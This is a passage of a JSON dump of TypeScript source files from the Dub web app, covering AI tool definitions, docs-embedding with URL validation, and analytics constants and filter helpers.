providing the matching column name for each field.` +\n        `You may also consult the first few rows of data to help you make the mapping, but you are mapping the columns, not the values. ` +\n        `If you are not sure or there is no matching column, omit the value.\\n\\n` +\n        `Columns:\\n${fieldColumns.join(\",\")}\\n\\n` +\n        `First few rows of data:\\n` +\n        firstRows.map((row) => JSON.stringify(row)).join(\"\\n\"),\n      temperature: 0.2,\n    });\n\n    for await (const partialObject of partialObjectStream) {\n      stream.update(partialObject);\n    }\n\n    stream.done();\n  })();\n\n  return { object: stream.value };\n}\n"
  },
  {
    "path": "apps/web/lib/ai/generate-filters.ts",
    "content": "\"use server\";\n\nimport { VALID_ANALYTICS_FILTERS } from \"@/lib/analytics/constants\";\nimport { analyticsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { anthropic } from \"@ai-sdk/anthropic\";\nimport { createStreamableValue } from \"@ai-sdk/rsc\";\nimport { Output, streamText } from \"ai\";\nimport * as z from \"zod/v4\";\n\nfunction getDescription(schema: z.ZodTypeAny): string {\n  const s = schema as { description?: string; _def?: { description?: string } };\n  return s.description ?? s._def?.description ?? \"\";\n}\n\n/** Schema for AI filter generation: same keys as analytics filters but all string (no parseFilterValue transform). */\nfunction buildAIFilterSchema() {\n  const shape = analyticsQuerySchema.shape as Record<string, z.ZodTypeAny>;\n  const entries = VALID_ANALYTICS_FILTERS.filter(\n    (key) => shape[key] != null,\n  ).map((key) => {\n    return [\n      key,\n      z.string().optional().describe(getDescription(shape[key])),\n    ] as const;\n  });\n  return z.object(Object.fromEntries(entries));\n}\n\nconst AI_FILTER_SCHEMA = buildAIFilterSchema();\n\nconst SYSTEM_PROMPT = `You are an analytics filter assistant. Extract or infer filter parameters from the user's request.\n\nOutput format: every filter value must use the advanced filtering syntax as a single string:\n- Single value: \\`dub.co\\`\n- Multiple values (comma-separated): \\`dub.co,google.com\\`\n- Exclusion (prefix with -): \\`-spam.com\\`\n\nOnly include fields that are clearly requested or implied. Omit optional fields when not relevant. For dates use ISO 8601 (e.g. 2024-01-15).`;\n\nexport async function generateFilters(prompt: string) {\n  const stream = createStreamableValue();\n\n  (async () => {\n    const { partialOutputStream } = streamText({\n      model: anthropic(\"claude-sonnet-4-20250514\"),\n      output: Output.object({ schema: AI_FILTER_SCHEMA }),\n      system: SYSTEM_PROMPT,\n      prompt,\n      temperature: 0.4,\n    });\n\n    for await (const partialObject of partialOutputStream) {\n      const parsed = AI_FILTER_SCHEMA.safeParse(partialObject);\n      if (parsed.success) stream.update(parsed.data);\n    }\n\n    stream.done();\n  })();\n\n  return { object: stream.value };\n}\n"
  },
  {
    "path": "apps/web/lib/ai/get-program-performance.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, PayoutStatus } from \"@dub/prisma/client\";\nimport { tool } from \"ai\";\nimport { z } from \"zod\";\nimport { getSession } from \"../auth/utils\";\n\nconst programPerformanceSchema = z.object({\n  program: z.object({\n    name: z.string().describe(\"The name of the program.\"),\n    supportEmail: z\n      .string()\n      .describe(\n        \"The support email of the program. Useful for letting the user know how to contact the program's support team.\",\n      ),\n    minPayoutAmount: z\n      .number()\n      .describe(\n        \"The minimum payout amount for the program in USD cents. If the partner's earnings are less than this amount, it will not be eligible for payout.\",\n      ),\n  }),\n  commissions: z.array(\n    z.object({\n      status: z\n        .enum(CommissionStatus)\n        .describe(\"The status of the commission.\"),\n      earningsInCents: z.number().describe(\"Total earnings in USD cents\"),\n    }),\n  ),\n  payouts: z.array(\n    z.object({\n      amount: z.number().describe(\"The amount of the payout in USD cents.\"),\n      status: z.enum(PayoutStatus).describe(\"The status of the payout.\"),\n      stripePayoutTraceId: z\n        .string()\n        .nullish()\n        .describe(\n          \"The payout trace ID. Useful for tracking delayed payouts – if the partner asks about a delayed payout, provide them with the trace ID for them to track the status of the payout with their bank.\",\n        ),\n      createdAt: z.date().describe(\"The date and time the payout was created.\"),\n      periodStart: z.date().describe(\"The start date of the payout period.\"),\n      periodEnd: z.date().describe(\"The end date of the payout period.\"),\n    }),\n  ),\n  holdingPeriodDays: z\n    .number()\n    .describe(\n      \"The number of days that commissions are held in 'pending' status until they are eligible for payout.\",\n    ),\n});\n\nexport const getProgramPerformanceTool = tool({\n  description:\n    \"Retrives the partner's performance for a given program (commissions, payouts, etc.) along with the program's details.\",\n  inputSchema: z.object({\n    programId: z.string().describe(\"The unique ID of the program.\"),\n  }),\n  outputSchema: programPerformanceSchema,\n  execute: async ({ programId }) => {\n    const session = await getSession();\n    if (!session?.user.id) {\n      return {\n        error: \"Unauthorized. Please log in to continue.\",\n      };\n    }\n    const programEnrollment = await prisma.programEnrollment.findFirst({\n      where: {\n        programId,\n        partner: {\n          users: {\n            some: {\n              userId: session.user.id,\n            },\n          },\n        },\n      },\n      include: {\n        program: {\n          include: {\n            groups: {\n              where: {\n                slug: \"default\",\n              },\n            },\n          },\n        },\n        partnerGroup: true,\n      },\n    });\n    if (!programEnrollment) {\n      return {\n        error: \"Partner not enrolled in program\",\n      };\n    }\n    const [commissions, payouts] = await Promise.all([\n      prisma.commission.groupBy({\n        by: [\"status\"],\n        where: {\n          earnings: {\n            gt: 0,\n          },\n          programId: programEnrollment.programId,\n          partnerId: programEnrollment.partnerId,\n        },\n        _sum: {\n          earnings: true,\n        },\n      }),\n      prisma.payout.findMany({\n        where: {\n          programId: programEnrollment.programId,\n          partnerId: programEnrollment.partnerId,\n        },\n        take: 100, // limit to latest 100 payouts\n        orderBy: {\n          createdAt: \"desc\",\n        },\n      }),\n    ]);\n\n    const data = programPerformanceSchema.parse({\n      program: programEnrollment.program,\n      holdingPeriodDays:\n        programEnrollment.partnerGroup?.holdingPeriodDays ??\n        programEnrollment.program.groups[0]?.holdingPeriodDays ??\n        0,\n      commissions: commissions.map((commission) => ({\n        status: commission.status,\n        earningsInCents: commission._sum.earnings,\n      })),\n      payouts,\n    });\n\n    return data;\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/ai/get-workspace-details.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { tool } from \"ai\";\nimport { z } from \"zod\";\nimport { getSession } from \"../auth/utils\";\n\nconst workspaceDetailsSchema = z.object({\n  name: z.string().describe(\"The name of the workspace.\"),\n  slug: z.string().describe(\"The slug of the workspace.\"),\n  logo: z.string().describe(\"The logo of the workspace.\"),\n  plan: z\n    .enum([\"free\", \"pro\", \"business\", \"advanced\", \"enterprise\"])\n    .describe(\"The plan of the workspace.\"),\n  billingCycleStart: z\n    .number()\n    .describe(\"The day of the month when the billing cycle starts.\"),\n  paymentFailedAt: z\n    .date()\n    .nullable()\n    .describe(\"The date and time the payment failed at.\"),\n  usage: z\n    .number()\n    .describe(\n      \"The tracked events usage that the workspace has used for the current billing cycle.\",\n    ),\n  usageLimit: z\n    .number()\n    .describe(\n      \"The total tracked events that the workspace has for the current billing cycle.\",\n    ),\n  linksUsage: z\n    .number()\n    .describe(\n      \"The amount of links that the workspace has created for the current billing cycle.\",\n    ),\n  linksLimit: z\n    .number()\n    .describe(\n      \"The total amount of links that the workspace can create for the current billing cycle.\",\n    ),\n});\n\nexport const getWorkspaceDetailsTool = tool({\n  description:\n    \"Retrives the details of a given user's workspace (plan, usage, etc.).\",\n  inputSchema: z.object({\n    workspaceId: z.string().describe(\"The unique ID of the workspace.\"),\n  }),\n  outputSchema: workspaceDetailsSchema,\n  execute: async ({ workspaceId }) => {\n    const session = await getSession();\n    if (!session?.user.id) {\n      return {\n        error: \"Unauthorized. Please log in to continue.\",\n      };\n    }\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: workspaceId,\n        users: {\n          some: {\n            userId: session.user.id,\n          },\n        },\n      },\n    });\n    if (!workspace) {\n      return {\n        error: \"Workspace not found\",\n      };\n    }\n    return workspaceDetailsSchema.parse(workspace);\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/ai/request-support-ticket.ts",
    "content": "import { tool } from \"ai\";\nimport { z } from \"zod\";\n\nexport const requestSupportTicketTool = tool({\n  description:\n    \"Shows a file upload form inside the chat so the user can optionally attach screenshots or files before a support ticket is created. ALWAYS call this tool first when the user asks to create a support ticket or speak with a human — never call createSupportTicket directly. IMPORTANT: After calling this tool, do NOT write any additional text — the form is self-explanatory and appears automatically in the chat. After the user clicks 'Submit ticket' in the form (they will send a follow-up confirmation message), call createSupportTicket to finalize the ticket.\",\n  inputSchema: z.object({}),\n  execute: async () => ({ status: \"ready\" as const }),\n});\n"
  },
  {
    "path": "apps/web/lib/ai/upsert-docs-embedding.ts",
    "content": "import { vectorIndex } from \"../../lib/upstash/vector\";\nimport { PAYOUT_SUPPORTED_COUNTRIES } from \"../constants/payouts-supported-countries\";\n/**\n * Clean raw MDX fetched from Mintlify's .md endpoint.\n * Strips frontmatter, imports, images, JSX components.\n * Replaces <PayoutSupportedCountries /> with the actual country list.\n * Returns the cleaned content and the article title extracted from the H1 heading.\n */\nasync function cleanMdx(\n  raw: string,\n): Promise<{ content: string; title: string }> {\n  let content = raw;\n\n  content = content.replace(/^> ## Documentation Index\\n(?:> [^\\n]*\\n)*/m, \"\");\n\n  const h1Match = content.match(/^# (.+)$/m);\n  const title = h1Match ? h1Match[1].trim() : \"\";\n\n  content = content.replace(/^---[\\s\\S]*?---\\s*/m, \"\");\n  content = content.replace(/^import\\s+.*from\\s+['\"][^'\"]*['\"]\\s*;?\\s*$/gm, \"\");\n  content = content.replace(/!\\[.*?\\]\\(.*?\\)/g, \"\");\n\n  const PAYOUT_METHODS_MAP = {\n    stablecoin: \"Stablecoin\",\n    connect: \"Bank Account\",\n    paypal: \"PayPal\",\n  };\n\n  content = content.replace(\n    /<PayoutSupportedCountries\\s*\\/>/g,\n    PAYOUT_SUPPORTED_COUNTRIES.map(\n      (c) =>\n        `- ${c.name} [${c.code}] (${c.methods.map((m) => PAYOUT_METHODS_MAP[m]).join(\", \")})`,\n    ).join(\"\\n\"),\n  );\n\n  content = content.replace(/<[A-Z][A-Za-z]*\\s*\\/>/g, \"\");\n\n  const blockComponents = [\n    \"CardGroup\",\n    \"Card\",\n    \"Tabs\",\n    \"Tab\",\n    \"Note\",\n    \"Tip\",\n    \"Warning\",\n    \"Info\",\n    \"Check\",\n    \"Steps\",\n    \"Step\",\n    \"Frame\",\n    \"Accordion\",\n    \"AccordionGroup\",\n    \"ResponseField\",\n    \"ParamField\",\n    \"Expandable\",\n    \"Update\",\n  ];\n  for (const tag of blockComponents) {\n    content = content.replace(new RegExp(`<${tag}(?:\\\\s[^>]*)?>`, \"g\"), \"\");\n    content = content.replace(new RegExp(`</${tag}>`, \"g\"), \"\");\n  }\n\n  content = content.replace(/^\\s*\\w+=\\{.*?\\}\\s*$/gm, \"\");\n  content = content.replace(/\\{\\/\\*[\\s\\S]*?\\*\\/\\}/g, \"\");\n  content = content.replace(/\\{`[^`]*`\\}/g, \"\");\n  content = content.replace(/<video[\\s\\S]*?<\\/video>/g, \"\");\n  content = content.replace(/<img[^>]*>/g, \"\");\n  content = content.replace(/\\n{3,}/g, \"\\n\\n\");\n\n  return { content: content.trim(), title };\n}\n\ntype ArticleChunk = {\n  id: string;\n  content: string;\n  url: string;\n  heading: string;\n  title: string;\n  type: \"docs\" | \"help\";\n};\n\n/**\n * Split cleaned markdown into chunks at H2/H3 heading boundaries.\n * Each chunk carries the section URL + heading as metadata.\n */\nfunction chunkByHeadings(\n  content: string,\n  url: string,\n  title: string,\n): ArticleChunk[] {\n  const lines = content.split(\"\\n\");\n  const chunks: ArticleChunk[] = [];\n  let currentHeading = \"Introduction\";\n  let currentLines: string[] = [];\n  const seenSlugs = new Map<string, number>();\n\n  const type: \"docs\" | \"help\" = url.includes(\"/help/\") ? \"help\" : \"docs\";\n\n  const flush = () => {\n    const text = currentLines.join(\"\\n\").trim();\n    if (text.length < 50) {\n      currentLines = [];\n      return;\n    }\n\n    const baseSlug = currentHeading\n      .toLowerCase()\n      .replace(/[^a-z0-9]+/g, \"-\")\n      .replace(/^-+|-+$/g, \"\");\n\n    const count = (seenSlugs.get(baseSlug) ?? 0) + 1;\n    seenSlugs.set(baseSlug, count);\n    const slug = count === 1 ? baseSlug : `${baseSlug}-${count}`;\n\n    const id = `${url}#${slug}`;\n    chunks.push({\n      id,\n      content: `## ${currentHeading}\\n\\n${text}`,\n      url: `${url}#${slug}`,\n      heading: currentHeading,\n      title,\n      type,\n    });\n    currentLines = [];\n  };\n\n  for (const line of lines) {\n    const h2Match = line.match(/^## (.+)$/);\n    const h3Match = line.match(/^### (.+)$/);\n\n    if (h2Match || h3Match) {\n      flush();\n      currentHeading = (h2Match || h3Match)![1].trim();\n    } else {\n      currentLines.push(line);\n    }\n  }\n\n  flush();\n\n  if (chunks.length === 0 && content.length > 50) {\n    const baseSlug = url.split(\"/\").pop() || \"article\";\n    const count = (seenSlugs.get(baseSlug) ?? 0) + 1;\n    seenSlugs.set(baseSlug, count);\n    const slug = count === 1 ? baseSlug : `${baseSlug}-${count}`;\n    chunks.push({\n      id: `${url}#${slug}`,\n      content,\n      url: `${url}#${slug}`,\n      heading: \"Overview\",\n      title,\n      type,\n    });\n  }\n\n  return chunks;\n}\n\n/**\n * Maps every allowed hostname to its canonical HTTPS origin.\n * The outgoing request origin is always picked from this map — never\n * constructed directly from user-supplied input — to prevent SSRF.\n * This is also the source of truth for the hostname allowlist.\n */\nconst HOSTNAME_TO_ORIGIN: Record<string, string> = {\n  \"dub.co\": \"https://dub.co\",\n  \"www.dub.co\": \"https://www.dub.co\",\n};\nconst ALLOWED_HOSTNAMES = Object.keys(HOSTNAME_TO_ORIGIN);\nconst ALLOWED_PATH_PREFIXES = [\"/docs\", \"/help\"];\n\n/**\n * Sanitize pathname: keep only alphanumeric, hyphens, underscores, slashes,\n * and dots, then collapse any remaining \"..\" sequences to prevent path\n * traversal even if the caller skips the pre-validation step.\n */\nfunction sanitizePathname(pathname: string): string {\n  return pathname.replace(/[^a-zA-Z0-9\\-_/.]/g, \"\").replace(/\\.\\.+/g, \"\");\n}\n\n/**\n * Fetch, clean, chunk, and upsert a single article URL into Upstash Vector.\n * Uses heading-level chunks directly — no sentence-level fragmentation.\n * Validates URL to restrict fetches to dub.co docs/help (SSRF guard).\n *\n * @param pageviewsMap\n *\n *\n */\nexport async function upsertDocsEmbeddings(\n  url: string,\n  pageviewsMap?: Map<string, number>,\n): Promise<{ chunks: number; skipped?: boolean }> {\n  let parsedUrl: URL;\n  try {\n    parsedUrl = new URL(url);\n  } catch {\n    console.warn(`Skipping (invalid URL): ${url}`);\n    return { chunks: 0, skipped: true };\n  }\n\n  if (\n    parsedUrl.protocol !== \"https:\" ||\n    !ALLOWED_HOSTNAMES.includes(parsedUrl.hostname) ||\n    parsedUrl.pathname.includes(\"..\") ||\n    !ALLOWED_PATH_PREFIXES.some((p) => parsedUrl.pathname.startsWith(p))\n  ) {\n    console.warn(`Skipping (disallowed URL): ${url}`);\n    return { chunks: 0, skipped: true };\n  }\n\n  const origin = HOSTNAME_TO_ORIGIN[parsedUrl.hostname] ?? \"https://dub.co\";\n  const sanitizedPath = sanitizePathname(parsedUrl.pathname);\n  const pathnameWithMd = sanitizedPath.endsWith(\".md\")\n    ? sanitizedPath\n    : `${sanitizedPath}.md`;\n  const normalizedUrl = `${origin}${sanitizedPath}`;\n  const mdUrl = `${origin}${pathnameWithMd}`;\n\n  const res = await fetch(mdUrl);\n  if (!res.ok) {\n    console.warn(`Skipping (${res.status}): ${normalizedUrl}`);\n    return { chunks: 0, skipped: true };\n  }\n\n  const raw = await res.text();\n  const { content: cleaned, title } = await cleanMdx(raw);\n  const chunks = chunkByHeadings(cleaned, normalizedUrl, title);\n\n  // Look up pageviews for this article (keyed by pathname, not full URL)\n  const pathname = new URL(normalizedUrl).pathname;\n  const pageviews = pageviewsMap?.get(pathname) ?? 0;\n\n  // Upstash Vector has a 48KB metadata size limit per vector.\n  const MAX_METADATA_CONTENT = 4000;\n\n  await Promise.all(\n    chunks.map(async (chunk) => {\n      await vectorIndex.upsert([\n        {\n          id: chunk.id,\n          data: chunk.content,\n          metadata: {\n            url: chunk.url,\n            heading: chunk.heading,\n            title: chunk.title || chunk.heading,\n            type: chunk.type,\n            pageviews,\n            content: chunk.content.slice(0, MAX_METADATA_CONTENT),\n          },\n        },\n      ]);\n    }),\n  );\n\n  return { chunks: chunks.length };\n}\n"
  },
  {
    "path": "apps/web/lib/analytics/allowed-hostnames-cache.ts",
    "content": "import { redis } from \"@/lib/upstash\";\n\nconst CACHE_EXPIRATION = 60 * 60 * 24 * 7; // 7 days\nconst CACHE_KEY_PREFIX = \"allowedHostnamesCache\";\n\nclass AllowedHostnamesCache {\n  async mset({\n    allowedHostnames,\n    domains,\n  }: {\n    allowedHostnames: string;\n    domains: string[];\n  }) {\n    if (domains.length === 0) {\n      return;\n    }\n\n    const pipeline = redis.pipeline();\n\n    domains.forEach((domain) => {\n      pipeline.set(this._createKey({ domain }), allowedHostnames, {\n        ex: CACHE_EXPIRATION,\n      });\n    });\n\n    return await pipeline.exec();\n  }\n\n  async deleteMany({ domains }: { domains: string[] }) {\n    if (domains.length === 0) {\n      return;\n    }\n\n    const pipeline = redis.pipeline();\n\n    domains.forEach((domain) => {\n      pipeline.del(this._createKey({ domain }));\n    });\n\n    return await pipeline.exec();\n  }\n\n  async delete({ domain }: { domain: string }) {\n    return await redis.del(this._createKey({ domain }));\n  }\n\n  _createKey({ domain }: { domain: string }) {\n    return `${CACHE_KEY_PREFIX}:${domain}`;\n  }\n}\n\nexport const allowedHostnamesCache = new AllowedHostnamesCache();\n"
  },
  {
    "path": "apps/web/lib/analytics/constants.ts",
    "content": "export const DATE_RANGE_INTERVAL_PRESETS = [\n  \"24h\",\n  \"7d\",\n  \"30d\",\n  \"90d\",\n  \"1y\",\n  \"mtd\",\n  \"qtd\",\n  \"ytd\",\n  \"all\",\n] as const;\n\nexport const DUB_LINKS_ANALYTICS_INTERVAL = \"24h\";\nexport const DUB_PARTNERS_ANALYTICS_INTERVAL = \"30d\";\n\nexport const INTERVAL_DISPLAYS = [\n  {\n    display: \"Last 24 hours\",\n    value: \"24h\",\n    shortcut: \"d\",\n  },\n  {\n    display: \"Last 7 days\",\n    value: \"7d\",\n    shortcut: \"w\",\n  },\n  {\n    display: \"Last 30 days\",\n    value: \"30d\",\n    shortcut: \"t\",\n  },\n  {\n    display: \"Last 3 months\",\n    value: \"90d\",\n    shortcut: \"3\",\n  },\n  {\n    display: \"Last 12 months\",\n    value: \"1y\",\n    shortcut: \"l\",\n  },\n  {\n    display: \"Month to Date\",\n    value: \"mtd\",\n    shortcut: \"m\",\n  },\n  {\n    display: \"Quarter to Date\",\n    value: \"qtd\",\n    shortcut: \"q\",\n  },\n  {\n    display: \"Year to Date\",\n    value: \"ytd\",\n    shortcut: \"y\",\n  },\n  {\n    display: \"All Time\",\n    value: \"all\",\n    shortcut: \"a\",\n  },\n];\n\nexport const VALID_ANALYTICS_ENDPOINTS = [\n  \"count\",\n  \"timeseries\",\n  \"continents\",\n  \"regions\",\n  \"countries\",\n  \"cities\",\n  \"devices\",\n  \"browsers\",\n  \"os\",\n  \"trigger\", // deprecated, but keeping for now for backwards compatibility\n  \"triggers\",\n  \"referers\",\n  \"referer_urls\",\n  \"top_folders\",\n  \"top_link_tags\",\n  \"top_domains\",\n  \"top_links\",\n  \"top_urls\",\n  \"top_base_urls\",\n  \"top_partners\",\n  \"top_groups\",\n  \"utm_sources\",\n  \"utm_mediums\",\n  \"utm_campaigns\",\n  \"utm_terms\",\n  \"utm_contents\",\n] as const;\n\nexport const SINGULAR_ANALYTICS_ENDPOINTS = {\n  timeseries: \"start\",\n  continents: \"continent\",\n  regions: \"region\",\n  countries: \"country\",\n  cities: \"city\",\n  devices: \"device\",\n  browsers: \"browser\",\n  referers: \"referer\",\n  referer_urls: \"refererUrl\",\n  os: \"os\",\n  triggers: \"trigger\",\n  utm_sources: \"utm_source\",\n  utm_mediums: \"utm_medium\",\n  utm_campaigns: \"utm_campaign\",\n  utm_terms: \"utm_term\",\n  utm_contents: \"utm_content\",\n  // extra fields\n  top_folders: \"folderId\",\n  top_link_tags: \"tagId\",\n  top_domains: \"domain\",\n  top_links: \"linkId\",\n  top_urls: \"url\",\n  top_base_urls: \"url\",\n  top_groups: \"groupId\",\n  top_partners: \"partnerId\",\n};\n\nexport const VALID_ANALYTICS_FILTERS = [\n  \"domain\",\n  \"key\",\n  \"linkId\",\n  \"tagId\",\n  \"folderId\",\n  \"groupId\",\n  \"partnerId\",\n  \"customerId\",\n  \"interval\",\n  \"start\",\n  \"end\",\n  // more filter facets\n  \"country\",\n  \"city\",\n  \"region\",\n  \"continent\",\n  \"device\",\n  \"browser\",\n  \"os\",\n  \"trigger\",\n  \"referer\",\n  \"refererUrl\",\n  \"url\",\n  \"utm_source\",\n  \"utm_medium\",\n  \"utm_campaign\",\n  \"utm_term\",\n  \"utm_content\",\n  \"root\",\n  \"saleType\",\n  // deprecated filters, but keeping for now for backwards compatibility\n  \"tagIds\",\n  \"qr\",\n];\n\n// possible analytics filters for a given linkId\nexport const DIMENSIONAL_ANALYTICS_FILTERS = [\n  \"country\",\n  \"city\",\n  \"region\",\n  \"continent\",\n  \"device\",\n  \"browser\",\n  \"os\",\n  \"trigger\",\n  \"referer\",\n  \"refererUrl\",\n  \"url\",\n  \"saleType\",\n  \"qr\", // deprecated, but keeping for now for backwards compatibility\n  \"utm_source\",\n  \"utm_medium\",\n  \"utm_campaign\",\n  \"utm_term\",\n  \"utm_content\",\n  \"query\",\n];\n\nexport const TRIGGER_TYPES = [\"qr\", \"link\", \"pageview\", \"deeplink\"] as const;\n\nexport const EVENT_TYPES = [\"clicks\", \"leads\", \"sales\"] as const;\n\nexport const ANALYTICS_VIEWS = [\"timeseries\", \"funnel\"] as const;\n\nexport const ANALYTICS_SALE_UNIT = [\"sales\", \"saleAmount\"] as const;\n\nexport const OLD_ANALYTICS_ENDPOINTS = [\n  \"clicks\",\n  \"count\",\n  \"timeseries\",\n  \"countries\",\n  \"country\",\n  \"cities\",\n  \"city\",\n  \"devices\",\n  \"device\",\n  \"browsers\",\n  \"browser\",\n  \"os\",\n  \"triggers\",\n  \"trigger\",\n  \"referers\",\n  \"referer\",\n  \"top_links\",\n  \"top_urls\",\n] as const;\n\nexport const OLD_TO_NEW_ANALYTICS_ENDPOINTS = {\n  clicks: \"count\",\n  timeseries: \"timeseries\",\n  country: \"countries\",\n  city: \"cities\",\n  device: \"devices\",\n  browser: \"browsers\",\n  os: \"os\",\n  trigger: \"triggers\",\n  referer: \"referers\",\n  top_links: \"top_links\",\n  top_urls: \"top_urls\",\n} as const;\n"
  },
  {
    "path": "apps/web/lib/analytics/convert-currency.ts",
    "content": "import { isZeroDecimalCurrency } from \"@dub/utils\";\nimport { redis } from \"../upstash/redis\";\n\nexport const convertCurrency = async ({\n  currency,\n  amount,\n}: {\n  currency: string;\n  amount: number;\n}) => {\n  const currencyCode = currency.toUpperCase();\n  const fxRate = await redis.hget(\"fxRates:usd\", currencyCode); // e.g. for MYR it'll be around 4.4\n\n  // if the FX rate is not found, we return the original amount\n  if (!fxRate) {\n    return {\n      currency,\n      amount,\n    };\n  }\n\n  // convert amount to USD based on the current FX rate\n  let convertedAmount = amount / Number(fxRate);\n\n  // if the currency is a zero decimal currency, we need to multiply the converted amount by 100\n  if (isZeroDecimalCurrency(currencyCode)) {\n    convertedAmount = convertedAmount * 100;\n  }\n\n  return {\n    currency: \"usd\",\n    // round the final converted amount to 0 decimal places (USD in cents)\n    amount: Math.round(convertedAmount),\n  };\n};\n\nexport const convertCurrencyWithFxRates = ({\n  currency,\n  amount,\n  fxRates,\n}: {\n  currency: string;\n  amount: number;\n  fxRates: Record<string, string>;\n}) => {\n  const currencyCode = currency.toUpperCase();\n  const fxRate = fxRates[currencyCode];\n\n  // if the FX rate is not found, we return the original amount\n  if (!fxRate) {\n    return {\n      currency,\n      amount,\n    };\n  }\n\n  // convert amount to USD based on the current FX rate\n  let convertedAmount = amount / Number(fxRate);\n\n  // if the currency is a zero decimal currency, we need to multiply the converted amount by 100\n  if (isZeroDecimalCurrency(currencyCode)) {\n    convertedAmount = convertedAmount * 100;\n  }\n\n  return {\n    currency: \"usd\",\n    // round the final converted amount to 0 decimal places (USD in cents)\n    amount: Math.round(convertedAmount),\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/events-export-helpers.ts",
    "content": "import { ClickEvent, LeadEvent, SaleEvent } from \"@/lib/types\";\nimport { COUNTRIES } from \"@dub/utils\";\n\nexport type Row = ClickEvent | LeadEvent | SaleEvent;\n\nexport const eventsExportColumnNames: Record<string, string> = {\n  trigger: \"Event\",\n  url: \"Destination URL\",\n  os: \"OS\",\n  referer: \"Referrer\",\n  refererUrl: \"Referrer URL\",\n  timestamp: \"Date\",\n  invoiceId: \"Invoice ID\",\n  saleAmount: \"Sale Amount\",\n  clickId: \"Click ID\",\n};\n\nexport const eventsExportColumnAccessors = {\n  trigger: (r: Row) => r.click.trigger,\n  event: (r: LeadEvent | SaleEvent) => r.eventName,\n  url: (r: ClickEvent) => r.click.url,\n  link: (r: Row) => r.domain + (r.key === \"_root\" ? \"\" : `/${r.key}`),\n  country: (r: Row) =>\n    r.country ? COUNTRIES[r.country] ?? r.country : r.country,\n  referer: (r: ClickEvent) => r.click.referer,\n  refererUrl: (r: ClickEvent) => r.click.refererUrl,\n  customer: (r: LeadEvent | SaleEvent) =>\n    r.customer.name + (r.customer.email ? ` <${r.customer.email}>` : \"\"),\n  invoiceId: (r: Row) => (\"sale\" in r ? r.sale.invoiceId : \"\"),\n  saleAmount: (r: Row) =>\n    \"sale\" in r ? \"$\" + (r.sale.amount / 100).toFixed(2) : \"\",\n  clickId: (r: ClickEvent) => r.click.id,\n};\n"
  },
  {
    "path": "apps/web/lib/analytics/filter-helpers.ts",
    "content": "import { ParsedFilter, type SQLOperator } from \"@dub/utils\";\n\n/**\n * Advanced filter structure for Tinybird's filters JSON parameter.\n * Used for event-level dimensional filters.\n */\nexport interface AdvancedFilter {\n  field: string;\n  operator: SQLOperator;\n  values: string[];\n}\n\n/**\n * Extract the first string value from a ParsedFilter.\n * Useful for API routes that need a single value (e.g., domain, folderId)\n * for lookups, even when the filter supports multiple values.\n */\nexport function getFirstFilterValue(\n  filter: ParsedFilter | string | undefined,\n): string | undefined {\n  if (!filter) return undefined;\n  if (typeof filter === \"string\") return filter;\n  return filter.values?.[0];\n}\n\n/**\n * Prepare trigger and region filters for Tinybird pipes.\n * Handles backward compatibility for qr parameter and region splitting.\n */\nexport function prepareFiltersForPipe(params: {\n  qr?: boolean;\n  trigger?: ParsedFilter;\n  region?: string | ParsedFilter;\n  country?: ParsedFilter;\n}) {\n  // Handle qr backward compatibility\n  let triggerForPipe = params.trigger;\n  if (params.qr && !params.trigger) {\n    triggerForPipe = {\n      operator: \"IS\" as const,\n      sqlOperator: \"IN\" as const,\n      values: [\"qr\"],\n    };\n  }\n\n  // Handle region split (format: \"US-CA\")\n  let countryForPipe = params.country;\n  let regionForPipe = params.region;\n  if (params.region && typeof params.region === \"string\") {\n    const split = params.region.split(\"-\");\n    countryForPipe = {\n      operator: \"IS\" as const,\n      sqlOperator: \"IN\" as const,\n      values: [split[0]],\n    };\n    regionForPipe = split[1];\n  }\n\n  return { triggerForPipe, countryForPipe, regionForPipe };\n}\n\n/**\n * Normalize a filter value that may be a plain string (e.g. from partner-profile\n * routes) or an already-parsed ParsedFilter into a consistent ParsedFilter.\n *\n * Useful when callers pass a raw ID string but extractWorkspaceLinkFilters\n * expects a ParsedFilter with sqlOperator.\n */\nexport function ensureParsedFilter(\n  value: string | ParsedFilter | undefined,\n): ParsedFilter | undefined {\n  if (!value) return undefined;\n  if (typeof value === \"string\") {\n    return {\n      operator: \"IS\" as const,\n      sqlOperator: \"IN\" as const,\n      values: [value],\n    };\n  }\n  return value;\n}\n\n/**\n * Extract workspace link filters (domain, tagId, folderId, partnerId) into\n * separate values and operators for Tinybird.\n *\n * These filters are applied on the workspace_links node in Tinybird,\n * so they need to be passed as separate parameters (not in the filters JSON).\n */\nexport function extractWorkspaceLinkFilters(params: {\n  linkId?: ParsedFilter;\n  domain?: ParsedFilter;\n  folderId?: ParsedFilter;\n  tagId?: ParsedFilter;\n  partnerId?: ParsedFilter;\n  groupId?: ParsedFilter;\n  tenantId?: ParsedFilter;\n}) {\n  const extractFilter = (filter?: ParsedFilter) => ({\n    values: filter?.values,\n    operator: (filter?.sqlOperator === \"NOT IN\" ? \"NOT IN\" : \"IN\") as\n      | \"IN\"\n      | \"NOT IN\",\n  });\n\n  const linkId = extractFilter(params.linkId);\n  const domain = extractFilter(params.domain);\n  const tagId = extractFilter(params.tagId);\n  const folderId = extractFilter(params.folderId);\n  const partnerId = extractFilter(params.partnerId);\n  const groupId = extractFilter(params.groupId);\n  const tenantId = extractFilter(params.tenantId);\n\n  return {\n    linkId: linkId.values,\n    linkIdOperator: linkId.operator,\n    domain: domain.values,\n    domainOperator: domain.operator,\n    tagId: tagId.values,\n    tagIdOperator: tagId.operator,\n    folderId: folderId.values,\n    folderIdOperator: folderId.operator,\n    partnerId: partnerId.values,\n    partnerIdOperator: partnerId.operator,\n    groupId: groupId.values,\n    groupIdOperator: groupId.operator,\n    tenantId: tenantId.values,\n    tenantIdOperator: tenantId.operator,\n  };\n}\n\n/**\n * Build advanced filters array for Tinybird's filters JSON parameter.\n * Extracts event-level dimensional filters from params and formats them\n * for the filters JSON that gets passed to Tinybird pipes.\n */\nconst SUPPORTED_FIELDS = [\n  \"country\",\n  \"city\",\n  \"continent\",\n  \"device\",\n  \"browser\",\n  \"os\",\n  \"referer\",\n  \"refererUrl\",\n  \"url\",\n  \"trigger\",\n  \"utm_source\",\n  